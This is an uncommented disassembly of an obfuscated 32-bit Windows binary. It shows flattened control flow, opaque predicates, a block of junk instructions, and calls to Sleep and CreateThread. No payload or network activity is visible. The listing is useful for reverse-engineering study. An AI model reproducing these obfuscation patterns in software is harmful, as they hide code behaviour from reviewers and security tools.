or eax, edx
or ecx, ebx
and ebx, 0x6459fcea
mov edx, eax
xor edx, 0x25bbfc7e
xor eax, 0xda440381
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x5c828f96
and esi, 0xa37d7069
or ecx, esi
mov esi, 0x6f3bb68d
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete ah
setne ch
cmp dword [0x4a4b78], 0xa
setge al
setl dl
mov cl, al
and al, ah
xor cl, ch
and ch, dl
or dl, ah
or al, ch
not al
mov ah, al
or al, dl
xor ah, dl
not al
mov edx, 0x15812072
or al, ah
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
mov ecx, 0x15812072
cmove edx, esi
jmp 0x40b478
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x28db2175
jmp 0x401540
cmp byte [ebp - 0x9a], 0
mov eax, 0xefa77390
mov ecx, 0xeef7b13d
cmovne eax, ecx
jmp 0x401540
cmp byte [ebp - 0x9d], 0
mov eax, 0x4c3b48bc
mov ecx, 0x2e7e6c66
cmovne eax, ecx
jmp 0x401540
mov eax, 0xab8e808b
jmp 0x401540
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x4b47a91e
and eax, 0xb4b856e1
or ecx, eax
mov eax, ecx
xor ecx, 0x80305261
xor eax, 0x4b47a91e
mov edx, eax
and ecx, 0xc373f277
and edx, 0x3c8c0d88
and eax, 1
or edx, ecx
mov esi, edx
xor esi, 0x3c8c0d88
xor edx, 0x3207270
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
and edx, 0x23207f70
or eax, esi
mov esi, ecx
and esi, 0xdcdf808f
or edx, esi
mov esi, eax
not esi
and eax, 0x23207f70
or ecx, esi
and esi, 0xdcdf808f
or eax, esi
not ecx
mov esi, 0x308bb2da
xor eax, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xc407bac8
andn ecx, ecx, ecx
and edx, 0x3bf84537
or eax, edx
xor eax, 0xc407bac8
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x16fced1b
and eax, 0xe90312e4
or ecx, eax
xor ecx, 0xe90312e4
setne ah
sete dl
cmp dword [0x4a4b78], 0xa
setge ch
setl al
mov cl, ch
and al, ah
xor cl, dl
and dl, ch
or al, dl
xor cl, 1
mov ah, al
mov edx, eax
or cl, ch
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor ah, cl
xor cl, 1
xor dl, 1
or dl, al
or al, cl
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x212c5027
cmovne eax, esi
test dl, 1
mov edx, 0x212c5027
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401540
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0x108]
push dword [ebp - 0x100]
vzeroupper
call fcn.00446440
add esp, 0xc
mov eax, 0xf7565360
jmp 0x401540
mov eax, 0x3dbcd987
jmp 0x401540
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov eax, 0xe3db4fcb
jmp 0x401540
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 0xc]
mov dword [ebp - 0x13c], eax
mov eax, 0x646df98a
jmp 0x401540
mov eax, dword [ebp - 0x12c]
mov eax, 0x173783fa
jmp 0x401540
mov eax, 0xe662334b
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0xb7eb9d07
or edx, 0x4e3c9208
mov eax, ecx
and eax, 0x481462f8
and edx, 0xdebd9228
and ecx, 0x10205c1
or eax, esi
or ecx, edx
mov esi, eax
xor eax, 0xb7eb9d07
xor esi, 0x6010
mov edi, eax
or edi, 0x90810020
and esi, 0x20406816
and eax, 0xfffffffe
and edi, 0xdebd9228
or esi, edi
xor ecx, esi
mov esi, 0xe9a62c2a
mov edx, ecx
not edx
and ecx, 0x6e7cfa1f
and edx, 0x918305e0
or ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x6f665aa3
and ecx, 0x9099a55c
or ecx, edx
xor ecx, 0x9099a55c
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ch
cmp dword [0x4a4b78], 0xa
mov ah, dl
setl cl
setge al
or dl, cl
and ah, al
and cl, ch
or cl, ah
xor cl, 1
or cl, al
or al, ch
mov ch, al
mov ah, cl
or al, dl
xor ch, dl
xor ah, 1
mov edx, ecx
xor al, 1
and dl, ah
or al, ch
mov ch, ah
xor dl, 1
xor al, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x9dc42f8
cmovne eax, esi
test dl, 1
mov edx, 0x9dc42f8
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401540
mov eax, dword [0x4a4b7c]
mov edi, 0x305ede4a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
mov edx, ecx
and edx, 0x6aa654e
and eax, ecx
not ecx
mov esi, ecx
and esi, 0xf9559ab0
or edx, esi
mov esi, 0x1f6ef427
xor edx, 0x6aa654e
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbb43497
and ecx, 0xf44bcb68
or eax, ecx
xor eax, 0xbb43497
setne dl
sete al
cmp dword [0x4a4b78], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
xor dl, ch
and cl, ch
and dh, al
and dl, al
xor al, ah
and al, ah
xor dl, 1
or dh, cl
xor al, 1
mov ah, dl
mov cl, dh
xor ah, al
or al, dl
xor cl, ch
xor al, 1
and cl, dh
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0x305ede4a
or ah, al
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, 1
cmovne ecx, edi
test al, 1
cmove ecx, esi
mov eax, ecx
jmp 0x401540
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x54]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x1b8], eax
mov eax, 0x4ca792cd
jmp 0x401540
mov eax, 0xf46ded1c
jmp 0x401540
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, 0x5c5ffaad
jmp 0x401540
mov eax, 0x46ebe61e
jmp 0x401540
mov eax, 0x2460a630
jmp 0x401540
mov eax, dword [ebp - 0x50]
mov dword [eax], 0x40
mov eax, 0x8de55e8
jmp 0x401540
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x1c4], eax
mov eax, 0x39d2c1f9
jmp 0x401540
mov eax, dword [ebp - 0xfc]
mov eax, 0xf0c4285d
jmp 0x401540
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x1a0], eax
mov eax, 0x594e4bbc
jmp 0x401540
mov eax, dword [ebp - 0x2c]
mov eax, 0x5dd54af3
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 0x65dc637
mov edi, edx
mov esi, eax
and esi, 0xceff9a91
and edi, 0x31002148
and edx, 0xaa8d1df2
or edi, esi
mov esi, ecx
xor esi, 0xf9a239c8
and esi, ecx
and ecx, 0x5572e20d
mov ebx, esi
not ebx
and esi, 0x3100656e
or ecx, edx
or eax, ebx
and ebx, 0xceff9a91
or esi, ebx
not eax
xor esi, edi
or eax, esi
not esi
and esi, 0x65dc636
and eax, 0xf9a239c9
or eax, esi
mov esi, eax
not esi
and eax, 0xac83f617
and esi, 0x537c09e8
or eax, esi
mov esi, eax
xor esi, 0xac023603
xor eax, 0x537c09e8
mov edx, eax
and edx, 0x43f5c93c
and esi, 0xbc0a36c3
or esi, edx
mov edx, ecx
xor edx, 0x14022201
xor ecx, 0xaa8d1df2
or eax, ecx
and ecx, 0x43f5c93c
and edx, 0xbc0a36c3
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
not ecx
and eax, 0x28f4791a
and ecx, 0xd70b86e5
or eax, ecx
xor eax, 0x28f4791a
setne cl
sete dl
cmp dword [0x4a4b78], 0xa
setl al
setge ah
and cl, al
or al, dl
and ah, dl
or cl, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov ch, dl
mov eax, 0xaee87e61
xor ch, cl
test dl, dl
mov edx, 0x308bb2da
cmovne eax, edx
test cl, cl
not ch
cmovne eax, edx
test ch, 1
mov edx, 0xaee87e61
cmove eax, edx
jmp 0x401540
mov eax, dword [ebp - 0x7c]
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xfffffffe
mov edx, eax
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x486049b1
and edx, 0xb79fb64e
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb79fb64e
or eax, esi
and esi, 0x486049b1
or ecx, esi
not eax
mov esi, 0xa69913f7
xor ecx, edx
or eax, ecx
setne ch
sete ah
cmp dword [0x4a4b78], 0xa
mov al, ch
mov dh, ah
setge dl
setl cl
xor al, dl
and ch, cl
or cl, ah
or dh, dl
and al, dl
and dl, ah
xor cl, 1
or dl, ch
xor al, 1
or cl, dl
mov ebx, eax
or al, dh
mov ah, cl
xor bl, dh
xor al, 1
xor ah, 1
or al, bl
mov dl, ah
mov ch, al
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov cl, al
xor dl, 1
xor cl, 1
or dl, ah
and cl, dl
xor dl, 1
xor ch, dl
and dl, al
and ch, al
or dl, cl
mov eax, 0xa69913f7
mov cl, ch
xor cl, dl
test dl, 1
mov edx, 0x4fc2cb79
cmovne eax, edx
test ch, 1
jmp 0x40a0ad
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
add eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xf67afa36
and eax, 0x98505c9
or edx, eax
xor edx, 0xf67afa36
or ecx, edx
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x37c540bb
and ecx, 0x360fd5e
mov eax, esi
and esi, 0xc83abf44
or eax, 1
or edx, esi
mov esi, eax
and esi, 0xfc9f02a1
or ecx, esi
mov esi, edx
xor esi, 0x340401a
xor edx, 0xc83abf45
or eax, edx
and edx, 0xfc9f02a1
and esi, 0x360fd5e
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xdf5a9ade
and eax, 0x20a56521
mov edi, edx
not edi
and edx, 0x808e6677
or ecx, eax
mov eax, ecx
xor eax, 0x800a0256
xor ecx, 0x20a56521
mov esi, ecx
or ecx, edi
and edi, 0x7f719988
and esi, 0x7f719988
and eax, 0x808e6677
or eax, esi
or edx, edi
not ecx
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x844ba9a2
mov edx, eax
and edx, 0x7bb4565d
or ecx, edx
xor ecx, 0x844ba9a2
or ecx, eax
xor ecx, 0xffffffff
sete ah
setne cl
cmp dword [0x4a4b78], 0xa
setge ch
mov al, ch
xor al, cl
or cl, ch
or ch, ah
and al, ah
mov edx, ecx
xor al, 1
xor dl, 1
mov ah, al
or al, ch
xor ah, ch
xor al, 1
or al, ah
mov ah, cl
and ah, dl
xor al, 1
xor ah, 1
or ah, dl
mov edx, 0xcf336a3c
xor ah, 1
or ah, cl
xor ah, al
or al, cl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x6b747ea5
cmovne ecx, edx
test al, 1
mov edx, 0x6b747ea5
cmovne edx, ecx
test ah, 1
jmp 0x40b47d
mov eax, 0x22f0370d
jmp 0x401540
mov eax, 0x5d104785
jmp 0x401540
mov eax, 0xd96f1e9d
jmp 0x401540
mov eax, 0xfeffaf02
jmp 0x401540
mov eax, 0x623f6575
jmp 0x401540
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x1bc], eax
mov eax, 0x87e5189a
jmp 0x401540
mov eax, dword [ebp - 0x54]
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x79136890
mov edi, edx
mov esi, ecx
and esi, 0xdbfc0c8c
and edi, 0x4009363
and edx, 0x1eefc95a
or edi, esi
mov esi, eax
xor esi, 0x86ec976f
and esi, eax
and eax, 0xe11036a5
mov ebx, esi
not ebx
and esi, 0x2403f373
or eax, edx
or ecx, ebx
and ebx, 0xdbfc0c8c
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x5d0da62e
and esi, 0xa2f259d1
or ecx, esi
mov esi, ecx
xor ecx, 0x241e423a
xor esi, 0xdbe13140
mov edx, esi
and edx, 0xd3c19dc5
and ecx, 0x2c3e623a
or ecx, edx
mov edx, eax
xor edx, 0x20102220
xor eax, 0x1eefc95a
or esi, eax
and eax, 0xd3c19dc5
and edx, 0x2c3e623a
or edx, eax
not esi
xor edx, ecx
or esi, edx
xor esi, 0xffffffff
mov esi, 0xb2defd07
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
setl cl
setge al
or al, ah
xor cl, dl
mov ah, al
mov edx, ecx
and al, cl
xor ah, 1
not dl
and dl, ah
or al, dl
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x3a25fb3c
cmovne ecx, esi
test al, al
mov eax, 0x3a25fb3c
jmp 0x40988a
imul ebx
not edi
imul edi
inc eax
inc edi
sbb esi, 0x8b
inc edi
rcr eax, 0x70
neg ebx
bswap ebx
inc ebx
ror edx, 0xbb
or edi, 0x8b
not esi
rcr edx, 0xca
add edi, 0x47
and ebx, 0xff
rcl edi, 0xcb
sub esi, 0xe3
bswap ebx
rcr esi, 0x29
sub edi, 0x84
not edi
not edx
dec ebx
sub ebx, 0x37
ror edi, 0xb9
not edx
dec esi
rcl eax, 0xa5
rcr ebx, 0xd5
bswap esi
rcl eax, 0x13
mov esi, 0xd1
rcl edx, 0x76
mov esi, 9
rcl esi, 7
add ebx, 6
bswap edi
add esi, 8
inc edx
bswap ebx
sbb esi, 0x12
dec esi
imul edx
imul esi
dec ebx
or eax, 0xa4
inc edx
rol edx, 3
not ebx
rcr edi, 0xca
rol esi, 0x47
imul edi
add ebx, 0xbc
inc edx
inc ebx
inc ebx
sbb esi, 0x47
dec eax
inc eax
inc eax
dec eax
rcr eax, 0x62
rcr edi, 0x1f
rcl ebx, 0xf2
sub eax, 0xa3
not ebx
rol edi, 0x40
sub esi, 0x4f
add esi, 0x14
bswap esi
rol esi, 0x17
rcl eax, 0xdb
inc edi
mov eax, 0x5c
mov edi, 0xad
and edi, 0x71
neg edi
dec eax
ror eax, 0xed
inc edi
sbb esi, 0x6c
imul edi
and eax, 0x58
rcl edi, 0x5f
and edi, 0xc2
or edi, 0xe7
neg edi
imul eax
and eax, 0xa9
inc edi
rol ebx, 0x9a
add eax, 0x11
rcl eax, 0x58
neg esi
rcl esi, 0xcf
neg edi
ror eax, 0x6e
inc edi
rcl eax, 0xd3
sub esi, 0x14
rcl edi, 0xaa
not eax
not ebx
imul eax
bswap ebx
and edx, 0x52
add edx, 0x1a
dec edx
dec ebx
not ebx
inc eax
sbb ebx, 0x84
rcr edi, 0x9c
bswap eax
bswap eax
and edi, 0xab
not ebx
not ebx
sbb ebx, 0x10
add eax, 0x35
neg edx
rol ebx, 4
dec esi
or esi, 0x6c
dec edx
ror ebx, 0x86
not esi
ror ebx, 0xbc
imul edi
rcr esi, 0x76
ror ebx, 0x5f
imul ebx
ror esi, 0x8b
sbb edx, 0x8d
not edx
mov esi, 0x84
sbb esi, 0x94
ror edx, 0x9f
and edi, 0xb4
dec edx
add ebx, 0xbf
dec edx
rol edi, 0xb8
neg esi
imul ebx
inc edi
neg edx
ror edi, 0x72
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, 0x430309b6
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 1
mov edi, eax
mov esi, edx
and esi, 0xbb2f00a
and edi, 0xf44d0ff4
and eax, 0xc67fc84a
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0x398037b5
mov ebx, esi
not ebx
and esi, 0xf44d0ff5
or eax, ecx
or edx, ebx
and ebx, 0xbb2f00a
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xc67fc84a
mov edi, esi
and edi, 0x398037b5
or edx, edi
mov edi, 0x7ebd4465
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xcb715d52
setne al
sete cl
cmp dword [0x4a4b78], 0xa
mov edx, eax
setl ah
setge ch
inc dl
mov dh, ah
and al, ah
xor dh, cl
or cl, ah
or ah, dl
and dl, ch
not ah
or dl, al
and cl, dh
or dl, ah
mov eax, 0x7ebd4465
xor dl, cl
and dl, 1
cmovne eax, esi
test dl, cl
mov ecx, dword [ebp - 0x104]
cmove eax, esi
cmovne eax, edi
test dl, dl
mov edx, dword [ebp - 0x3c]
cmove eax, edi
mov edx, dword [edx]
mov esi, dword [ebp - 0x38]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add ecx, dword [edx + esi*8 + 0x14]
mov dword [ebp - 0x108], ecx
jmp 0x401540
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x148], eax
mov eax, 0x71510153
jmp 0x401540
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0x2bfac926
and edx, 0xd40536d9
or edx, ecx
mov eax, edx
mov ecx, edx
xor edx, 0xd40536d8
xor eax, 0x2bfac926
xor ecx, 0x2bfac927
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
and ecx, 0xe32c8a01
mov esi, edx
and esi, 0x1cd375fe
or ecx, esi
mov esi, eax
not esi
and eax, 0xe32c8a01
or edx, esi
and esi, 0x1cd375fe
or eax, esi
not edx
mov esi, 0x3f5e5f81
xor eax, ecx
or edx, eax
mov eax, edx
xor eax, 0x4523aad9
and eax, edx
not edx
or edx, eax
not eax
and eax, 0xbadc5526
and edx, 0x4523aad9
or edx, eax
mov eax, edx
not eax
and edx, 0x2ec1c4b9
and eax, 0xd13e3b46
or edx, eax
mov eax, edx
xor eax, 0x88100a1
xor edx, 0x91183042
and edx, 0xb758f45a
and eax, 0x48a70ba5
or eax, edx
mov ecx, eax
xor ecx, 0x31102008
xor eax, 0x830881
and eax, 0x86cbdcd3
and ecx, 0x7934232c
or ecx, eax
xor ecx, 0x7934232c
sete ah
setne dl
cmp dword [0x4a4b78], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
mov ah, al
xor cl, 1
or al, dl
xor ah, dl
or cl, ch
xor al, 1
mov ch, cl
or al, ah
xor ch, 1
mov ah, al
mov edx, eax
or al, ch
and ch, cl
xor ah, 1
xor ch, 1
and dl, ah
xor al, 1
mov dh, ch
or ch, cl
xor dl, 1
xor dh, cl
xor ch, 1
or ch, dh
mov dh, dl
or dl, ah
xor dh, ah
xor dl, 1
xor ah, cl
or dl, dh
mov dh, ch
or al, ah
xor dh, 1
mov cl, al
and dh, dl
xor dl, 1
and dl, ch
or dl, dh
xor cl, dl
test al, 1
mov eax, 0x523024c9
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x523024c9
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401540
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x7c]
mov eax, 0x61566baf
jmp 0x401540
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x38]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, 0x85799ddd
jmp 0x401540
mov eax, 0xf46ded1c
jmp 0x401540
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x4a4b7c]
mov eax, dword [eax]
add eax, 6
mov dword [ebp - 0x128], eax
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0x20860800
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xdf4883db
and ecx, eax
and esi, 0x7cc689d3
and edx, 0x83080208
or edx, esi
mov esi, ecx
not esi
and ecx, 0x8339762c
or eax, esi
and esi, 0x7cc689d3
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x20b77c24
and eax, 0xdf4883db
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x28a8dc7f
and edx, 0xfffffffe
and ecx, 0xd7572380
or eax, ecx
xor eax, 0x28a8dc7e
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xac3881e2
and eax, 0x40864000
mov edx, ecx
and edx, 0x1411809
or ecx, 0xa559914b
or esi, edx
and ecx, 0xb759b75f
mov edx, esi
xor edx, 0x82000a0
xor esi, 0x1341361d
or eax, ecx
and esi, 0xb759b75f
and edx, 0x82008a0
or edx, esi
mov esi, 0x4ae924e8
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x69adb54b
and ecx, 0x96524ab4
or eax, ecx
xor eax, 0xc4d42ca0
sete al
setne dl
cmp dword [0x4a4b78], 0xa
setl ah
mov cl, ah
mov ch, ah
or cl, al
xor al, ah
xor ch, dl
or dl, ah
and al, ah
mov ah, dl
xor ch, 1
xor cl, 1
xor al, 1
or cl, ch
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, al
and al, cl
xor ah, 1
or cl, ah
and ah, dl
mov edx, 0xc4506444
or ah, al
mov al, cl
xor al, ah
test ah, 1
cmovne edx, esi
test cl, 1
mov ecx, 0xc4506444
jmp 0x40b66e
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa529a86a
and eax, 0x5ad65795
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0xa4082868
xor esi, 0x5ad65795
xor ecx, 0x81000000
mov eax, esi
and eax, 0x5ba5d196
and edx, 0xa45a2e69
or esi, 0x489b8ffa
and ecx, 0x91440005
or edx, eax
mov eax, edx
mov edi, edx
xor edi, 0xa45a2e69
xor edx, 0x133e5e6c
xor eax, 0x5ba5d196
and edx, edi
and eax, 0xfffffffe
mov edi, edx
not edi
and edx, 0x99cf8375
mov ebx, edi
or edi, esi
and ebx, 0x66307c8a
and esi, 0x66307c8a
or edx, ebx
or ecx, esi
not edi
xor ecx, edx
or edi, ecx
mov ecx, edi
not ecx
and edi, 0x489b8ffb
and ecx, 0xb7647004
or edi, ecx
or eax, edi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x2c050002
and eax, 0xc282909c
mov edx, ecx
and edx, 0x1180821
or ecx, 0x20140002
or esi, edx
and ecx, 0x30746742
mov edx, esi
xor edx, 0xc010000
xor esi, 0x10706740
or eax, ecx
and esi, 0x30746742
and edx, 0xd090821
or edx, esi
mov esi, 0xa2de47fd
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x2d1d0823
and ecx, 0xd2e2f7dc
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf79dc902
and ecx, 0x86236fd
or eax, ecx
mov ecx, eax
xor ecx, 0x84880800
xor eax, 0x6216f8
and eax, 0x7377d7fa
and ecx, 0x8c882805
or ecx, eax
xor ecx, 0x8c882805
sete cl
setne dl
cmp dword [0x4a4b78], 0xa
setge al
setl ah
mov dh, al
and cl, al
and ah, dl
xor dh, dl
or cl, ah
mov ch, dh
and ch, al
or al, dl
xor al, 1
xor ch, 1
or al, dh
and dh, dl
xor dh, 1
xor al, 1
mov bl, dh
or al, cl
xor bl, ch
or ch, dh
xor al, 1
xor ch, 1
or ch, bl
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x5523aa0c
cmovne edx, esi
test al, 1
mov eax, 0x5523aa0c
jmp 0x40bfb1
mov eax, 0x78c9f483
jmp 0x401540
mov ecx, dword [0x4a4b7c]
mov edi, 0xaddde595
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x3e82cfa5
mov ecx, edx
and ecx, 0xc17d305a
and edx, 0x42088da2
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x3e82cfa4
and esi, 0xc17d305b
or ecx, esi
mov esi, eax
and esi, 0xbdf7725d
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x8481
xor esi, 0x25a11048
or eax, edx
and esi, 0x67a9196a
and eax, 0x9856e695
or eax, esi
mov esi, 0x81b4001c
xor eax, 0x9856e695
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa1991c34
and ecx, 0x5e66e3cb
or ecx, eax
xor ecx, 0xa1991c34
sete ah
setne dl
cmp dword [0x4a4b78], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, ch
or al, ah
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xaddde595
cmovne eax, esi
test dl, 1
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x401540
mov eax, 0xf37ac275
jmp 0x401540
push 0
push 0
push 0
push dword [ebp - 0x140]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb4]
mov eax, 0x8c6e3306
jmp 0x401540
mov eax, dword [ebp - 0x120]
mov ecx, dword [0x4a4b7c]
mov ebx, 0xc8b300ef
mov edi, 0xc8b300ef
cmp dword [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x9c]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x648e7c9c
and ecx, 0x9b718363
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc0f49e46
and ecx, 0x3f0b61b9
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x10811c20
xor esi, 0xa47ae2da
xor eax, 0xb811404
mov ecx, esi
or ecx, 1
and esi, 0x6f0c6347
and edx, 0x90f39cb8
and eax, 0xfa9d60e
or edx, esi
mov esi, ecx
and esi, 0xf05629f1
or eax, esi
mov esi, edx
xor esi, 0xa19408
xor edx, 0x6f0c6346
or ecx, edx
and edx, 0xf05629f1
and esi, 0xfa9d60e
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov edx, ecx
xor edx, 0xa2732ca0
mov eax, ecx
and eax, 0xa0232020
and edx, ecx
not ecx
and ecx, 0x2500c80
or eax, ecx
mov ecx, eax
xor ecx, 0x230020
xor eax, 0x5fdcdfdf
mov esi, eax
